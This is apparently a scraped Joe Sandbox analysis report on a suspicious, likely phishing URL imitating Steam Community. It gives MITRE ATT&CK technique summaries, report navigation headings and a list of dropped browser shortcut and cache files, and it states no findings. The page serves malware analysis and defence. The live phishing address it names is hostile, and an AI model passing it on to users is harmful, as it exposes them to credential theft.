Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://sneamcomnnumnlty.com/jfh8893040282949023/here/put

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 271

Chrome Cache Entry: 272

Chrome Cache Entry: 273

Chrome Cache Entry: 274

Chrome Cache Entry: 275

Chrome Cache Entry: 276

Chrome Cache Entry: 277

Chrome Cache Entry: 278

Chrome Cache Entry: 279

Chrome Cache Entry: 280

Chrome Cache Entry: 281

Chrome Cache Entry: 282

Chrome Cache Entry: 283

Chrome Cache Entry: 284

Chrome Cache Entry: 285

Chrome Cache Entry: 286

Chrome Cache Entry: 287

Chrome Cache Entry: 288

Chrome Cache Entry: 289

Windows Analysis Report
https://sneamcomnnumnlty.com/jfh8893040282949023/here/put